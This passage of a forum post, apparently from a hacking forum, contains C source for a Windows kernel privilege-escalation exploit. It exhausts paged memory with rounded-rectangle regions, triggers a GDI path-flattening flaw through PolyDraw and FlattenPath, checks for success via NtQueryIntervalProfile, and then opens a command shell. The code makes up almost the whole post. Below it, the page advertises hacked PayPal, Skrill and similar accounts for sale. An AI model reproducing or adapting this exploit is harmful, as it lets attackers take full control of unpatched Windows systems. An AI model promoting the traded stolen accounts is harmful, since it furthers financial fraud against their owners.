Points[PointNum].x      = ( ULONG )(PathRecord) >> 4;
Points[PointNum].y      = ( ULONG )(PathRecord) >> 4;
PointTypes[PointNum]    = PT_BEZIERTO;
}
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop( "DontPanic" ,
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
// Get a handle to this Desktop.
Device = GetDC(NULL);
// Take ownership of Mutex
WaitForSingleObject(Mutex, INFINITE);
// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle" );
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}
LogMessage(L_INFO, "Allocated %u HRGN objects" , NumRegion);
LogMessage(L_INFO, "Flattening curves..." );
for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
// Test if exploitation succeeded.
NtQueryIntervalProfile(ProfileTotalIssues, Interval);
// Repair any damage.
*Interval = SavedInterval;
EndPath(Device);
}
if (Finished) {
LogMessage(L_INFO, "Success, launching shell..." , Finished);
ShellExecute(NULL, "open" , "cmd" , NULL, NULL, SW_SHOW);
LogMessage(L_INFO, "Press any key to exit..." );
getchar ();
ExitProcess(0);
}
// If we reach here, we didn't trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
// Try again...
LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)" );
LogMessage(L_INFO, "Press any key to exit..." );
getchar ();
ExitProcess(1);
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start (Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end (Args);
switch (Level) {
case L_DEBUG: fprintf (stdout, "[?] %s\n" , Buffer); break ;
case L_INFO: fprintf (stdout, "[+] %s\n" , Buffer); break ;
case L_WARN: fprintf (stderr, "[*] %s\n" , Buffer); break ;
case L_ERROR: fprintf (stderr, "[!] %s\n" , Buffer); break ;
}
fflush (stdout);
fflush (stderr);
return TRUE;
}
Reply
Paid adv. expire in 47 days
CLICK to buy Advertisement !

    Verified & Trusted HACKED Payza, PayPal, Ukash, Ucard, EgoPay, Skrill - TRANSFER [Escrow accepted]




Forum Jump: